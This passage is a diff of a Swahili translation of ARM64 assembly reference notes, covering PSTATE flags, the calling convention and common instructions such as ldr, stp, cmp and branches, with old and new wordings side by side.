kinamalizika).\ -Hizi ndizo sehemu zinazoweza kufikiwa: +**PSTATE** ina vipengele kadhaa vya mchakato vilivyopangwa ndani ya rejista maalum inayoonekana kwa mfumo wa uendeshaji `SPSR_ELx`, ambapo X ni **ngazi ya ruhusa ya exception** iliyosababisha (hii inaruhusu kurejesha hali ya mchakato wakati exception inapoisha).\ +Hivi ndivyo vitu vinavyopatikana:
-- Bendera za hali **`N`**, **`Z`**, **`C`** na **`V`**: -- **`N`** inamaanisha operesheni ilizalisha matokeo hasi -- **`Z`** inamaanisha operesheni ilizalisha sifuri -- **`C`** inamaanisha operesheni ilibeba -- **`V`** inamaanisha operesheni ilizalisha overflow iliyosainiwa: -- Jumla ya nambari mbili chanya inazalisha matokeo hasi. -- Jumla ya nambari mbili hasi inazalisha matokeo chanya. -- Katika utofauti, wakati nambari kubwa hasi inatolewa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya upeo wa ukubwa wa bit uliopewa. -- Kwa wazi processor haijui operesheni hiyo ina saini au la, hivyo itakagua C na V katika operesheni na kuashiria ikiwa kubeba kumetokea katika kesi ilikuwa ya saini au isiyo ya saini. +- Bendera za hali (**`N`**, **`Z`**, **`C`** na **`V`**): +- **`N`** ina maana operesheni ilileta matokeo hasi +- **`Z`** ina maana operesheni ilileta sifuri +- **`C`** ina maana operesheni ilibeba (carry) +- **`V`** ina maana operesheni ilisababisha overflow iliyo na saini: + - Jumla ya nambari mbili chanya inaleta matokeo hasi. + - Jumla ya nambari mbili hasi inaleta matokeo chanya. + - Katika utofauti, wakati nambari hasi kubwa inaanzishwa kutoka kwa nambari chanya ndogo (au kinyume), na matokeo hayawezi kuwakilishwa ndani ya ukubwa wa biti uliotolewa. + - Kwa wazi processor haitambui kama operesheni ni yenye saini au la, kwa hivyo itacheki C na V katika operesheni na kuonyesha kama carry ilitokea ikiwa ilikuwa iliyo na saini au isiyo na saini. > [!WARNING] -> Si amri zote zinazosasisha bendera hizi. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na nyingine ambazo zina kiambishi cha s kama **`ADDS`** pia hufanya hivyo. +> Si maelekezo yote yanasasisha bendera hizi. Baadhi kama **`CMP`** au **`TST`** hufanya, na mengine yenye nyongeza `s` kama **`ADDS`** pia hufanya. -- Bendera ya **upana wa sasa wa register (`nRW`)**: Ikiwa bendera ina thamani 0, programu itakimbia katika hali ya utekelezaji ya AArch64 mara itakaporejeshwa. -- **Kiwango cha Kigezo** (**`EL`**): Programu ya kawaida inayokimbia katika EL0 itakuwa na thamani 0 -- Bendera ya **kuangalia moja** (**`SS`**): Inatumika na debuggers kuangalia moja kwa moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kigezo. Programu itakimbia hatua moja na kutoa kigezo cha hatua moja. -- Bendera ya hali ya **kigezo kisichofaa** (**`IL`**): Inatumika kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kigezo kisichofaa, bendera hii inawekwa kuwa 1 na processor inasababisha kigezo kisichofaa. -- Bendera za **`DAIF`**: Bendera hizi zinaruhusu programu yenye ruhusa kuchuja kwa hiari kigezo fulani za nje. -- Ikiwa **`A`** ni 1 inamaanisha **kuondolewa kwa asynchronous** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupts ya vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupts ya Haraka** (FIRs). -- Bendera za **uchaguzi wa pointer ya stack** (**`SPS`**): Programu zenye ruhusa zinazokimbia katika EL1 na juu zinaweza kubadilisha kati ya kutumia register yao ya pointer ya stack na ile ya mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0. +- Bendera ya sasa ya **upana wa rejista (`nRW`)**: Ikiwa bendera ina thamani 0, programu itaendesha katika state ya AArch64 mara itakayorejeshwa. +- **Ngazi ya Exception** ya sasa (**`EL`**): Programu ya kawaida inayofanya kazi katika EL0 itakuwa na thamani 0 +- Bendera ya **single stepping** (**`SS`**): Inatumika na debuggers kufanya hatua kwa hatua kwa kuweka bendera SS kuwa 1 ndani ya `SPSR_ELx` kupitia exception. Programu itaendesha hatua moja na kutoa exception ya single step. +- Bendera ya hali ya **illegal exception** (**`IL`**): Inatumika kumarka wakati programu ya mwenye ruhusa inafanya uhamisho wa ngazi ya exception usio halali, bendera hii inawekwa kuwa 1 na processor itasababisha exception ya hali isiyo halali. +- Bendera za **`DAIF`**: Bendera hizi zinamruhusu programu yenye ruhusa kuzima kwa namna chaguo fulani exceptions za nje. +- Ikiwa **`A`** ni 1 ina maana **asynchronous aborts** zitasababisha. **`I`** inasanidiwa kujibu External hardware **Interrupt Requests** (IRQs). na F inahusiana na **Fast Interrupt Requests** (FIRs). +- Bendera za kuchagua stack pointer (**`SPS`**): Programu zenye ruhusa zinazoendesha katika EL1 na juu zinaweza kubadilisha kati ya kutumia rejista yao ya stack pointer na ile ya mtindo wa mtumiaji (mfano kati ya `SP_EL1` na `EL0`). Mabadiliko haya hufanywa kwa kuandika kwenye rejista maalum `SPSel`. Hii haiwezi kufanyika kutoka EL0. -## **Mkataba wa Wito (ARM64v8)** +## **Calling Convention (ARM64v8)** -Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo** vya ziada vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** kati ya wito wa kazi. +Mkataba wa kupiga simu wa ARM64 unaelekeza kuwa **vigezo vinane vya kwanza** kwa function hupitishwa katika virejista **`x0` kupitia `x7`**. Vigezo **vilivyozidi** hupitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika rejista **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Virejista **`x19`** hadi **`x30`** na **`sp`** vinapaswa **kuhifadhiwa** kupitia wito za function. -Wakati wa kusoma kazi katika assembly, angalia **prologue na epilogue ya kazi**. **Prologue** kwa kawaida inahusisha **kuhifadhi pointer ya frame (`x29`)**, **kuweka** pointer mpya ya frame, na **kuandaa nafasi ya stack**. **Epilogue** kwa kawaida inahusisha **kurejesha pointer ya frame iliyohifadhiwa** na **kurudi** kutoka kwa kazi. +Wakati unasoma function katika assembly, tafuta **prologue** na **epilogue** ya function. **Prologue** kawaida inajumuisha **kuhifadhi frame pointer (`x29`)**, **kuweka** frame pointer mpya, na **kutenga nafasi ya stack**. **Epilogue** kawaida inajumuisha **kurejesha frame pointer iliyohifadhiwa** na **kurudi** kutoka kwenye function. -### Mkataba wa Wito katika Swift +### Calling Convention in Swift -Swift ina **mkataba wake wa wito** ambao unaweza kupatikana katika [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift ina **calling convention** yake ambayo inaweza kupatikana katika [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Amri za Kawaida (ARM64v8)** +## **Maagizo ya Kawaida (ARM64v8)** -Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** inayopaswa kufanywa (kama `add`, `sub`, `mov`, n.k.), **`dst`** ni **register ya marudio** ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni **register za chanzo**. Thamani za papo hapo zinaweza pia kutumika badala ya register za chanzo. +Maelekezo ya ARM64 kwa ujumla yana muundo wa **`opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** itakayotekelezwa (kama `add`, `sub`, `mov`, n.k.), **`dst`** ni rejista ya **lengo** ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni **vyanzo**. Thamani za papo hapo zinaweza pia kutumika badala ya virejista vya chanzo. -- **`mov`**: **Hamisha** thamani kutoka register moja hadi nyingine. +- **`mov`**: **Hamisha** thamani kutoka rejista moja hadi nyingine. - Mfano: `mov x0, x1` — Hii inahamisha thamani kutoka `x1` hadi `x0`. -- **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** hadi **register**. -- Mfano: `ldr x0, [x1]` — Hii inapakua thamani kutoka eneo la kumbukumbu lililoonyeshwa na `x1` hadi `x0`. -- **Hali ya Offset**: Offset inayohusisha kiashiria cha asili inaonyeshwa, kwa mfano: -- `ldr x2, [x1, #8]`, hii itapakia katika x2 thamani kutoka x1 + 8 -- `ldr x2, [x0, x1, lsl #2]`, hii itapakia katika x2 kitu kutoka kwenye array x0, kutoka kwenye nafasi x1 (index) \* 4 -- **Hali ya Pre-indexed**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili. +- **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** hadi **rejista**. +- Mfano: `ldr x0, [x1]` — Hii inapakia thamani kutoka eneo la kumbukumbu linaloashiriwa na `x1` ndani ya `x0`. +- **Modo ya offset**: Offset inayoathiri pointer ya asili inaonyeshwa, kwa mfano: +- `ldr x2, [x1, #8]`, hii itapakia ndani ya x2 thamani kutoka x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, hii itapakia ndani ya x2 kitu kutoka safu x0, kutoka nafasi x1 (index) * 4 +- **Modo ya pre-indexed**: Hii itafanya hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili. - `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` katika `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8` -- `str lr, [sp, #-4]!`, Hifadhi register ya kiungo katika sp na sasisha register sp -- **Hali ya Post-index**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa na kisha offset inakokotwa na kuhifadhiwa. +- `str lr, [sp, #-4]!`, Hifadhi link register katika sp na sasisha rejista sp +- **Modo ya post-index**: Hii ni kama ile ya hapo juu lakini anwani ya kumbukumbu inafikiwa kisha offset inahesabiwa na kuhifadhiwa. - `ldr x0, [x1], #8`, pakia `x1` katika `x0` na sasisha x1 na `x1 + 8` -- **Uelekeo wa PC-relative**: Katika kesi hii anwani ya kupakia inakokotwa kulingana na register ya PC -- `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanza katika x1 inayohusiana na PC ya sasa. -- **`str`**: **Hifadhi** thamani kutoka **register** hadi **kumbukumbu**. -- Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu lililoonyeshwa na `x1`. -- **`ldp`**: **Pakia Jozi za Register**. Amri hii **inapakia register mbili** kutoka **sehemu za kumbukumbu** zinazofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine. -- Mfano: `ldp x0, x1, [x2]` — Hii inapakua `x0` na `x1` kutoka maeneo ya kumbukumbu katika `x2` na `x2 + 8`, mtawalia. -- **`stp`**: **Hifadhi Jozi za Register**. Amri hii **inahifadhi register mbili** kwenye **sehemu za kumbukumbu** zinazofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine. +- **PC-relative addressing**: Katika kesi hii anwani ya kupakia huhesabiwa kwa uhusiano na rejista pc +- `ldr x1, =_start`, Hii itapakia anwani ambapo alama `_start` inaanza katika x1 kuhusiana na PC ya sasa. +- **`str`**: **Hifadhi** thamani kutoka **rejista** hadi **kumbukumbu**. +- Mfano: `str x0, [x1]` — Hii inahifadhi thamani ya `x0` katika eneo la kumbukumbu linaloashiriwa na `x1`. +- **`ldp`**: **Load Pair of Registers**. Maelekezo haya **hupanua vifungo viwili** kutoka **eneo la kumbukumbu linaloendelea**. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika rejista nyingine. +- Mfano: `ldp x0, x1, [x2]` — Hii inapakia `x0` na `x1` kutoka maeneo ya kumbukumbu katika `x2` na `x2 + 8`, mtawalia. +- **`stp`**: **Store Pair of Registers**. Amri hii **inahifadhi rejista mbili** kwa **maeneo ya kumbukumbu yanayofuata**. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika rejista nyingine. - Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp` na `sp + 8`, mtawalia. -- `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na sasisha `sp` na `sp+16`. -- **`add`**: **Ongeza** thamani za register mbili na uhifadhi matokeo katika register. +- `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na inasasisha `sp` kuwa `sp+16`. +- **`add`**: **Ongeza** thamani za virejista viwili na hifadhi matokeo katika rejista. - Sintaksia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] -- Xn1 -> Marudio -- Xn2 -> Operandi 1 -- Xn3 | #imm -> Operandi 2 (register au papo hapo) -- \[shift #N | RRX] -> Fanya shift au piga RRX -- Mfano: `add x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` pamoja na kuhifadhi matokeo katika `x0`. -- `add x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 shifter mara 12) -> 1 0000 0000 0000 0000 -- **`adds`** Hii inafanya `add` na inasasisha bendera -- **`sub`**: **Punguza** thamani za register mbili na uhifadhi matokeo katika register. -- Angalia **`add`** **sintaksia**. -- Mfano: `sub x0, x1, x2` — Hii inapunguza thamani katika `x2` kutoka `x1` na kuhifadhi matokeo katika `x0`. -- **`subs`** Hii ni kama sub lakini inasasisha bendera -- **`mul`**: **Weka** thamani za **register mbili** na uhifadhi matokeo katika register. -- Mfano: `mul x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` na kuhifadhi matokeo katika `x0`. -- **`div`**: **Gawanya** thamani ya register moja kwa nyingine na uhifadhi matokeo katika register. -- Mfano: `div x0, x1, x2` — Hii inagawanya thamani katika `x1` kwa `x2` na kuhifadhi matokeo katika `x0`. +- Xn1 -> Destination +- Xn2 -> Operand 1 +- Xn3 | #imm -> Operand 2 (rejista au immediate) +- \[shift #N | RRX] -> Fanya shift au tumia RRX +- Mfano: `add x0, x1, x2` — Hii inaongeza thamani za `x1` na `x2` pamoja na kuhifadhi matokeo katika `x0`. +- `add x5, x5, #1, lsl #12` — Hii ni sawa na 4096 (1 ikishiftwa mara 12) -> 1 0000 0000 0000 0000 +- **`adds`** Hii hufanya `add` na kusasisha bendera +- **`sub`**: **Toa** thamani za virejista viwili na hifadhi matokeo katika rejista. +- Angalia **sintaksia ya `add`**. +- Mfano: `sub x0, x1, x2` — Hii inaondoa thamani ya `x2` kutoka `x1` na kuhifadhi matokeo katika `x0`. +- **`subs`** Hii ni kama sub lakini ikisasisha flag +- **`mul`**: **Zidisha** thamani za **virejista viwili** na hifadhi matokeo katika rejista. +- Mfano: `mul x0, x1, x2` — Hii inazidisha thamani za `x1` na `x2` na kuhifadhi matokeo katika `x0`. +- **`div`**: **Gawanya** thamani ya rejista moja kwa nyingine na hifadhi matokeo katika rejista. +- Mfano: `div x0, x1, x2` — Hii inagawa thamani ya `x1` kwa `x2` na kuhifadhi matokeo katika `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Shift ya Kihisia Kushoto**: Ongeza 0s kutoka mwisho ukihamisha bits nyingine mbele (ongeza kwa n-mara 2) -- **Shift ya Kihisia Kulia**: Ongeza 1s mwanzoni ukihamisha bits nyingine nyuma (gawanya kwa n-mara 2 katika isiyo ya saini) -- **Shift ya Kihisia Kulia**: Kama **`lsr`**, lakini badala ya kuongeza 0s ikiwa bit muhimu zaidi ni 1, **1s zinaongezwa** (gawanya kwa n-mara 2 katika saini) -- **Piga Kulia**: Kama **`lsr`** lakini chochote kinachondolewa kutoka kulia kinatolewa kushoto -- **Piga Kulia na Kuongeza**: Kama **`ror`**, lakini na bendera ya kubeba kama "bit muhimu zaidi". Hivyo bendera ya kubeba inahamishwa kwa bit 31 na bit iliyondolewa kwa bendera ya kubeba. -- **`bfm`**: **Hamisha Bit Filed**, operesheni hizi **nakala bits `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaashiria **nafasi ya bit ya kushoto** na **`#r`** ni **kiasi cha kuhamasisha kulia**. -- Hamisha bitfiled: `BFM Xd, Xn, #r` -- Hamisha Bitfield ya Saini: `SBFM Xd, Xn, #r, #s` -- Hamisha Bitfield isiyo ya Saini: `UBFM Xd, Xn, #r, #s` -- **Hamisha na Ingiza Bitfield:** Nakala bitfield kutoka register moja na kuhamasisha kwenye register nyingine. -- **`BFI X1, X2, #3, #4`** Ingiza bits 4 kutoka X2 kutoka bit ya 3 ya X1 -- **`BFXIL X1, X2, #3, #4`** Toa kutoka bit ya 3 ya X2 bits nne na kuhamasisha kwenye X1 -- **`SBFIZ X1, X2, #3, #4`** Ongeza saini bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia -- **`SBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2, inaongeza saini, na kuweka matokeo katika X1 -- **`UBFIZ X1, X2, #3, #4`** Ongeza sifuri bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia -- **`UBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2 na kuweka matokeo yaliyoongezwa sifuri katika X1. -- **Ongeza Saini kwa X:** Ongeza saini (au ongeza tu 0s katika toleo lisilo la saini) la thamani ili uweze kufanya operesheni nayo: -- **`SXTB X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza 64bits -- **`SXTH X1, W2`** Ongeza saini ya nambari ya 16bit **kutoka W2 hadi X1** ili kujaza 64bits -- **`SXTW X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** ili kujaza 64bits -- **`UXTB X1, W2`** Ongeza 0s (isiyo ya saini) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits -- **`extr`:** Inatoa bits kutoka **jozi maalum za register zilizounganishwa**. -- Mfano: `EXTR W3, W2, W1, #3` Hii itafanya **kuunganisha W1+W2** na kupata **kuanzia bit 3 ya W2 hadi bit 3 ya W1** na kuhifadhi katika W3. -- **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya marudio kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`. -- Inasaidia **sintaksia sawa na `subs`** -- Mfano: `cmp x0, x1` — Hii inalinganisha thamani katika `x0` na `x1` na kuweka bendera za hali ipasavyo. -- **`cmn`**: **Linganishi operand hasi**. Katika kesi hii ni **alias ya `adds`** na inasaidia sintaksia sawa. Inafaida kujua ikiwa `m == -n`. -- **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha kwa awali ilikuwa kweli na itaseti bits za nzcv kwa usahihi. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwa func -- Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa bits `nzcv` zitawekwa kuwa 0 (ambayo haitaridhisha kulinganisha `blt`). -- Hii pia inaweza kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` dhidi ya `cmn`). -- **`tst`**: Inakagua ikiwa yoyote ya thamani za kulinganisha ni 1 (inafanya kazi kama ANDS bila kuhifadhi matokeo mahali popote). Inafaida kuangalia register na thamani na kuangalia ikiwa yoyote ya bits za register iliyoonyeshwa katika thamani ni 1. -- Mfano: `tst X1, #7` Angalia ikiwa yoyote ya bits tatu za mwisho za X1 ni 1 -- **`teq`**: Operesheni ya XOR ikitenga matokeo -- **`b`**: Tawi lisilo na masharti +- **Logical shift left**: Ongeza 0s mwishoni ukisogeza biti nyingine mbele (kuzaa kwa n mara 2) +- **Logical shift right**: Ongeza 1s mwanzoni ukisogeza biti nyingine nyuma (gawanya kwa n mara 2 kwa unsigned) +- **Arithmetic shift right**: Kama **`lsr`**, lakini badala ya kuongeza 0s ikiwa bit ya juu zaidi ni 1, **1s zinaongezwa** (gawanya kwa n mara 2 kwa signed) +- **Rotate right**: Kama **`lsr`** lakini kile kinachokotolewa kutoka kulia kinarudishwa kushoto +- **Rotate Right with Extend**: Kama **`ror`**, lakini na bendera ya carry kama "most significant bit". Hivyo bendera ya carry inahamishwa hadi biti 31 na biti iliyotolewa kwenda bendera ya carry. +- **`bfm`**: **Bit Filed Move**, operesheni hizi **huhamisha bits `0...n`** kutoka thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaonyesha nafasi ya biti ya kushoto na **`#r`** ni kiasi cha rotate right. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Nakili bitfield kutoka rejista na kunakili kwa rejista nyingine. +- **`BFI X1, X2, #3, #4`** Ingiza bits 4 kutoka X2 kutoka biti ya 3 ya X1 +- **`BFXIL X1, X2, #3, #4`** Toa kutoka biti ya 3 ya X2 bits nne na nakili kwenye X1 +- **`SBFIZ X1, X2, #3, #4`** Inapanua kwa saini bits 4 kutoka X2 na kuingiza ndani ya X1 kuanzia bit nafasi 3 ikifuta bits za kulia +- **`SBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia biti 3 kutoka X2, inapanua kwa saini, na kuweka matokeo katika X1 +- **`UBFIZ X1, X2, #3, #4`** Inapanua kwa sifuri bits 4 kutoka X2 na kuingiza ndani ya X1 kuanzia bit nafasi 3 ikifuta bits za kulia +- **`UBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia biti 3 kutoka X2 na kuweka matokeo yaliyo panuliwa kwa sifuri katika X1. +- **Sign Extend To X:** Inapanua saini (au kuongeza 0s katika toleo lisilo na saini) ya thamani ili kuwezesha operesheni nayo: +- **`SXTB X1, W2`** Inapanua saini ya byte **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kuziba 64bits +- **`SXTH X1, W2`** Inapanua saini ya nambari ya 16bit **kutoka W2 hadi X1** ili kuziba 64bits +- **`SXTW X1, W2`** Inapanua saini ya byte **kutoka W2 hadi X1** ili kuziba 64bits +- **`UXTB X1, W2`** Inaongeza 0s (unsigned) kwa byte **kutoka W2 hadi X1** ili kuziba 64bits +- **`extr`:** Hutoa bits kutoka **jozi ya virejista zilizoshikiliwa mfululizo**. +- Mfano: `EXTR W3, W2, W1, #3` Hii itafanya **concat W1+W2** na kupata **kutoka biti 3 ya W2 hadi biti 3 ya W1** na kuihifadhi katika W3. +- **`cmp`**: **Linganisho** la virejista viwili na kuweka bendera za hali. Ni **alias ya `subs`** kuiweka rejista ya lengo kuwa zero register. Inafaa kujua ikiwa `m == n`. +- Inaunga mkono **sintaksia ile ile kama `subs`** +- Mfano: `cmp x0, x1` — Hii inalinganisha thamani za `x0` na `x1` na kuweka bendera za hali kwa mujibu. +- **`cmn`**: **Linganisho la negative** operand. Katika kesi hii ni **alias ya `adds`** na inaunga mkono sintaksia ile ile. Inafaa kujua ikiwa `m == -n`. +- **`ccmp`**: Linganisho la masharti, ni linganisho litakalofanywa tu kama linganisho la awali lilikuwa la kweli na hasa litasanidi bits nzcv. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka hadi func +- Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp`** ya awali ilikuwa `NE`, kama sivyo bits `nzcv` zitasetwa kuwa 0 (ambayo haitaridhisha kulinganisha `blt`). +- Hii pia inaweza kutumika kama `ccmn` (sawa lakini negative, kama `cmp` dhidi ya `cmn`). +- **`tst`**: Inakagua ikiwa sehemu yoyote ya thamani za kulinganisha zote mbili ni 1 (inafanya kazi kama ANDS bila kuhifadhi matokeo mahali popote). Inafaa kukagua rejista dhidi ya thamani na kuona ikiwa moja ya bits za rejista zilizotajwa katika thamani ni 1. +- Mfano: `tst X1, #7` Angalia ikiwa yoyote ya bits 3 za mwisho za X1 ni 1 +- **`teq`**: Operesheni ya XOR ikifuta matokeo +- **`b`**: Branch isiyokuwa na masharti - Mfano: `b myFunction` -- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma) -- **`bl`**: **Tawi** na kiungo, inatumika **kuita** **subroutine**. Hifadhi **anwani ya kurudi katika `x30`**. -- Mfano: `bl myFunction` — Hii inaita kazi `myFunction` na kuhifadhi anwani ya kurudi katika `x30`. -- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma) -- **`blr`**: **Tawi** na Kiungo kwa Register, inatumika **kuita** **subroutine** ambapo lengo linatolewa katika **register**. Hifadhi anwani ya kurudi katika `x30`. (Hii ni -- Mfano: `blr x1` — Hii inaita kazi ambayo anwani yake inapatikana katika `x1` na kuhifadhi anwani ya kurudi katika `x30`. -- **`ret`**: **Rudi** kutoka **subroutine**, kwa kawaida ikitumia anwani katika **`x30`**. -- Mfano: `ret` — Hii inarudi kutoka kwa subroutine ya sasa ikitumia anwani ya kurudi katika `x30`. -- **`b.`**: Matawi ya masharti -- **`b.eq`**: **Tawi ikiwa sawa**, kulingana na amri ya awali ya `cmp`. -- Mfano: `b.eq label` — Ikiwa amri ya awali ya `cmp` iligundua thamani mbili sawa, hii inaruka kwa `label`. -- **`b.ne`**: **Tawi ikiwa Siyo Sawa**. Amri hii inakagua bendera za hali (ambazo ziliwekwa na amri ya kulinganisha ya awali), na ikiwa thamani zilizolinganishwa hazikuwa sawa, inatunga kwa lebo au anwani. -- Mfano: Baada ya amri ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwa `label`. -- **`cbz`**: **Linganishi na Tawi kwa Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa sawa, inatunga kwa lebo au anwani. -- Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwa `label`. -- **`cbnz`**: **Linganishi na Tawi kwa Siyo Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani. -- Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka kwa `label`. -- **`tbnz`**: Jaribu bit na tawi kwa siyo sifuri +- Kumbuka hili halitajaza link register na anwani ya kurudi (sio nzuri kwa wito za subrutine zinazohitaji kurudi) +- **`bl`**: **Branch** with link, inayotumika **kuita** **subroutine**. Inahifadhi **anwani ya kurudi katika `x30`**. +- Mfano: `bl myFunction` — Hii inaita function `myFunction` na kuhifadhi anwani ya kurudi katika `x30`. +- Kumbuka hili halitajaza link register na anwani ya kurudi (sio nzuri kwa wito za subrutine zinazohitaji kurudi) +- **`blr`**: **Branch** with Link to Register, inayotumika **kuita** **subroutine** ambapo lengo linatafsiriwa katika **rejista**. Inahifadhi anwani ya kurudi katika `x30`. +- Mfano: `blr x1` — Hii inaita function ambayo anwani yake iko ndani ya `x1` na kuhifadhi anwani ya kurudi katika `x30`. +- **`ret`**: **Rudia** kutoka **subroutine**, kawaida kwa kutumia anwani katika **`x30`**. +- Mfano: `ret` — Hii inarudisha kutoka subroutine ya sasa kwa kutumia anwani ya kurudi katika `x30`. +- **`b.`**: Branch za masharti +- **`b.eq`**: **Branch ikiwa sawa**, kwa msingi wa amri ya `cmp` ya awali. +- Mfano: `b.eq label` — Ikiwa amri ya `cmp` ya awali iligundua thamani mbili sawa, hii inaruka hadi `label`. +- **`b.ne`**: **Branch ikiwa si sawa**. Amri hii inakagua bendera za hali (zilizosetwa na amri ya kulinganisha ya awali), na ikiwa thamani zililinganishwa hazikuwa sawa, inaruka hadi label au anwani. +- Mfano: Baada ya amri `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka hadi `label`. +- **`cbz`**: **Compare and Branch on Zero**. Amri hii inalinganisha rejista na sifuri, na ikiwa ni sawa, inaruka hadi label au anwani. +- Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka hadi `label`. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Amri hii inalinganisha rejista na sifuri, na ikiwa si sawa, inaruka hadi label au anwani. +- Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka hadi `label`. +- **`tbnz`**: Test bit and branch on nonzero - Mfano: `tbnz x0, #8, label` -- **`tbz`**: Jaribu bit na tawi kwa sifuri +- **`tbz`**: Test bit and branch on zero - Mfano: `tbz x0, #8, label` -- **Operesheni za kuchagua kwa masharti**: Hizi ni operesheni ambazo tabia yake inabadilika kulingana na bits za masharti. +- **Conditional select operations**: Hizi ni operesheni ambazo tabia zao zinatofautiana kulingana na bits za conditional. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ikiwa kweli, X0 = X1, ikiwa si kweli, X0 = X2 - `csinc Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = Xm + 